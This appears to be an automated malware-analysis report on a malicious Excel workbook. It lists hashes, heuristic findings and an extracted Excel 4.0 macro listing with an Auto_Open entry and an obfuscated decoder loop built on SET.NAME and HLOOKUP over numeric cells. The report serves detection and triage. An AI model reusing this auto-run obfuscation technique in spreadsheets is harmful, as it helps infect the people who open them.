Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f53211ae386bd4d9…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:09 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 9d51430218fac6288385a872a0c19544 SHA-1: 43179c1ccbe256dc164d22aef5e96586d9c88a81 SHA-256: f53211ae386bd4d96e1f4b8c4ac71669aa8c8ea43c78d1e1faae116cf92f59a2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6725 bytes
SHA-256: 7f6769f8b986427cc0cb55b2f7284ba8097748e282cfd32637cab3ad00f060c6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  VTAGMB
' 0018     27 LABEL : Cell Value, String Constant - aGHShjraWcwG len=0 
' 0018     24 LABEL : Cell Value, String Constant - APhLhLEKo len=0 
' 0018     26 LABEL : Cell Value, String Constant - ARZSkhkuedW len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A192 
' 0018     23 LABEL : Cell Value, String Constant - eOySFCJv len=0 
' 0018     25 LABEL : Cell Value, String Constant - GdUQmgHqrt len=0 
' 0018     21 LABEL : Cell Value, String Constant - hULgzX len=0 
' 0018     24 LABEL : Cell Value, String Constant - hWiHIZqNO len=0 
' 0018     27 LABEL : Cell Value, String Constant - HzvrzLdwUVOa len=0 
' 0018     24 LABEL : Cell Value, String Constant - jSPkPuwHR len=0 
' 0018     21 LABEL : Cell Value, String Constant - kOjLQZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - LXgipMwe len=0 
' 0018     21 LABEL : Cell Value, String Constant - nXutQg len=0 
' 0018     21 LABEL : Cell Value, String Constant - PvAgiO len=0 
' 0018     22 LABEL : Cell Value, String Constant - trneqkK len=0 
' 0018     25 LABEL : Cell Value, String Constant - uqGuCiVFlX len=0 
' 0018     23 LABEL : Cell Value, String Constant - vGrlWCgW len=0 
' 0018     23 LABEL : Cell Value, String Constant - XCaTpZXk len=0 
' 0018     24 LABEL : Cell Value, String Constant - xLSIbhtZd len=0 
' 0018     22 LABEL : Cell Value, String Constant - xOMkzFy len=0 
' 0018     21 LABEL : Cell Value, String Constant - Ylqxpa len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  VTAGMB,T59,"",825.00000000000000000000
'  VTAGMB,T60,"",-190.00000000000000000000
'  VTAGMB,T61,"",-472.00000000000000000000
'  VTAGMB,T62,"",399.00000000000000000000
'  VTAGMB,T63,"",317.00000000000000000000
'  VTAGMB,T64,"",263.00000000000000000000
'  VTAGMB,A98,"SET.NAME("ARZSkhkuedW",0+VALUE("0"))",""
'  VTAGMB,A100,"SET.NAME("trneqkK",ARZSkhkuedW)",""
'  VTAGMB,A103,"SET.NAME("PvAgiO",ARZSkhkuedW)",""
'  VTAGMB,A107,"SET.NAME("hWiHIZqNO",COUNTA(hULgzX))",""
'  VTAGMB,A109,"SET.NAME("GdUQmgHqrt",COUNTA(XCaTpZXk))",""
'  VTAGMB,A113,[],""
'  VTAGMB,A117,"SET.NAME("aGHShjraWcwG","")",""
'  VTAGMB,A121,"trneqkK",""
'  VTAGMB,A126,"SET.NAME("vGrlWCgW",HLOOKUP("*",hULgzX,trneqkK,FALSE))",""
'  VTAGMB,A131,"xOMkzFy",""
'  VTAGMB,A136,"SET.NAME("nXutQg",ARZSkhkuedW)",""
'  VTAGMB,A140,[],""
'  VTAGMB,A144,"nXutQg",""
'  VTAGMB,A146,"kOjLQZ",""
'  VTAGMB,A149,"jSPkPuwHR",""
'  VTAGMB,A154,"Ylqxpa",""
'  VTAGMB,A158,"SET.NAME("uqGuCiVFlX",VALUE(HLOOKUP("*",XCaTpZXk,Ylqxpa,FALSE)))",""
'  VTAGMB,A160,"HzvrzLdwUVOa",""
'  VTAGMB,A164,"aGHShjraWcwG",""
'  VTAGMB,A168,"PvAgiO",""
'  VTAGMB,A173,NEXT(),""
'  VTAGMB,A175,"eOySFCJv",""
'  VTAGMB,A178,[],""
'  VTAGMB,A181,"APhLhLEKo",""
'  VTAGMB,A185,NEXT(),""
'  VTAGMB,A188,RETURN(),""
'  VTAGMB,A213,"SET.NAME("xLSIbhtZd",A98)",""
'  VTAGMB,A216,"hULgzX",""
'  VTAGMB,A220,"SET.NAME("XCaTpZXk",R63C15)",""
'  VTAGMB,A224,"SET.NAME("APhLhLEKo",230)",""
'  VTAGMB,A226,"SET.NAME("LXgipMwe",1)",""
'  VTAGMB,A229,xLSIbhtZd(),""
'  VTAGMB,A230,HALT(),""

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